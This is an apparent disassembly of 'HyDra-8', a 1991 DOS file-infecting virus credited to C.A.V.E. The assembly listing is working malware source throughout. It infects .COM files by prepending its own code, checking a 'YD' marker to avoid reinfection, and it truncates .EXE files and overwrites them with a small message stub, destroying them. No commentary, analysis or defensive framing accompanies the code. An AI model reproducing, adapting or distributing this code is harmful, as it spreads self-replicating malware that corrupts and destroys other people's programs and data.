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- PAGE 59,132
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- ;██████████████████████████████████████████████████████████████████████████
- ;██ ██
- ;██ HYDRA8 ██
- ;██ ██
- ;██ Created: 28-Aug-91 ██
- ;██ Passes: 5 Analysis Options on: W ██
- ;██ Copyright (c) ██
- ;██ ██
- ;██████████████████████████████████████████████████████████████████████████
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- psp_cmd_size equ 80h
- data_17e equ 1EFh
- data_18e equ 1F2h
- data_19e equ 9D9Ah
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- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
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- org 100h
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- hydra8 proc far
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- start:
- jmp loc_3
- db 59h, 44h, 00h, 00h
- data_3 db 'HyDra-8 Beta - Not For Release'
- db '. *.CO?'
- db 0
- data_6 dw 0, 8B39h
- data_8 dw 0
- data_9 db 0
- db 18 dup (0)
- data_10 db 0
- db 10 dup (0)
- data_11 db 0
- db 0, 0, 0, 0, 0, 0
- data_12 db 0
- db 0, 0, 0, 0, 0, 0
- copyright db 'Copyright (c)'
- db ' 1991 by C.A.V.E. '
- data_13 db 2Ah
- db 2Eh, 45h, 58h, 45h, 00h
- data_14 db 33h
- db 0C9h, 1Eh, 52h,0E8h, 06h, 00h
- db 0E8h, 13h, 00h,0EBh, 36h, 90h
- db 0BEh, 48h, 01h
- db 0BFh, 5Ah, 01h,0B9h, 12h, 00h
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- locloop_1:
- xor byte ptr [si],0F5h
- movsb ; Mov [si] to es:[di]
- loop locloop_1 ; Loop if cx > 0
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- retn
- db 0B8h, 00h, 0Fh,0CDh, 10h,0B4h
- db 00h,0CDh, 10h,0B8h, 00h, 02h
- db 0B6h, 0Ch,0B2h, 1Fh,0CDh, 10h
- db 33h,0D2h
- db 0BAh, 5Ah, 01h,0B4h, 09h,0CDh
- db 21h,0B8h, 00h, 02h,0B6h, 18h
- db 0B2h, 00h,0CDh, 10h,0C3h
- db 0B8h, 00h, 4Ch,0CDh, 21h, 00h
- db 0A2h, 9Dh, 9Ah,0F5h, 9Ch, 86h
- db 0F5h
- db 0BFh, 9Ah, 9Dh, 9Bh,0F5h,0B2h
- db 94h, 99h, 81h,0CAh,0D1h
- loc_3:
- push ax
- mov ax,cs
- add ax,1000h
- xor di,di ; Zero register
- mov cx,1EFh
- mov si,100h
- mov es,ax
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- mov ah,1Ah
- mov dx,offset data_9
- int 21h ; DOS Services ah=function 1Ah
- ; set DTA(disk xfer area) ds:dx
- mov ah,4Eh ; 'N'
- mov dx,offset data_3+22h ; ('*')
- int 21h ; DOS Services ah=function 4Eh
- ; find 1st filenam match @ds:dx
- jc loc_7 ; Jump if carry Set
- loc_4:
- mov ah,3Dh ; '='
- mov al,2
- mov dx,offset data_11
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- mov bx,ax
- push es
- pop ds
- mov ax,3F00h
- mov cx,0FFFFh
- mov dx,data_17e
- int 21h ; DOS Services ah=function 3Fh
- ; read file, bx=file handle
- ; cx=bytes to ds:dx buffer
- add ax,1EFh
- mov cs:data_8,ax
- cmp word ptr ds:data_18e,4459h
- jne loc_5 ; Jump if not equal
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- push cs
- pop ds
- mov ah,4Fh ; 'O'
- int 21h ; DOS Services ah=function 4Fh
- ; find next filename match
- jc loc_8 ; Jump if carry Set
- jmp short loc_4
- loc_5:
- xor cx,cx ; Zero register
- mov dx,cx
- mov ax,4200h
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, bx=file handle
- ; al=method, cx,dx=offset
- jc loc_6 ; Jump if carry Set
- mov ah,40h ; '@'
- xor dx,dx ; Zero register
- mov cx,cs:data_8
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- loc_6:
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- push cs
- pop ds
- loc_7:
- mov ah,1Ah
- mov dx,psp_cmd_size
- int 21h ; DOS Services ah=function 1Ah
- ; set DTA(disk xfer area) ds:dx
- jmp short loc_11
- db 90h
- loc_8:
- clc ; Clear carry flag
- xor cx,cx ; Zero register
- push ds
- push dx
- mov ah,1Ah
- mov dx,offset data_9
- int 21h ; DOS Services ah=function 1Ah
- ; set DTA(disk xfer area) ds:dx
- mov dx,offset data_13
- mov ah,4Eh ; 'N'
- xor cx,cx ; Zero register
- int 21h ; DOS Services ah=function 4Eh
- ; find 1st filenam match @ds:dx
- jc loc_7 ; Jump if carry Set
- loc_9:
- mov ah,3Ch ; '<'
- xor cx,cx ; Zero register
- mov dx,offset data_11
- int 21h ; DOS Services ah=function 3Ch
- ; create/truncate file @ ds:dx
- mov bx,ax
- jc loc_7 ; Jump if carry Set
- mov ax,3D02h
- mov dx,offset data_11
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- mov bx,ax
- clc ; Clear carry flag
- xor dx,dx ; Zero register
- mov ah,40h ; '@'
- mov dx,offset data_14
- mov cx,5Ah
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- cmp ax,5Ah
- jb loc_10 ; Jump if below
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- jc loc_10 ; Jump if carry Set
- mov ah,4Fh ; 'O'
- int 21h ; DOS Services ah=function 4Fh
- ; find next filename match
- jnc loc_9 ; Jump if carry=0
- loc_10:
- mov ax,4C00h
- int 21h ; DOS Services ah=function 4Ch
- ; terminate with al=return code
- loc_11:
- xor di,di ; Zero register
- mov si,offset data_15
- mov cx,22h
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- pop bx
- mov cs:data_6,0
- mov word ptr cs:data_6+2,es
- pop bx
- jmp dword ptr cs:data_6
- data_15 db 1Eh
- db 07h,0B9h,0FFh,0FFh,0BEh,0EFh
- db 02h,0BFh, 00h, 01h, 2Bh,0CEh
- db 0F3h,0A4h, 2Eh,0C7h, 06h, 00h
- db 01h, 00h, 01h, 2Eh, 8Ch, 1Eh
- db 02h, 01h, 8Bh,0C3h, 2Eh,0FFh
- db 2Eh, 00h, 01h,0CDh
- db 20h
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- hydra8 endp
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- seg_a ends
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- end start
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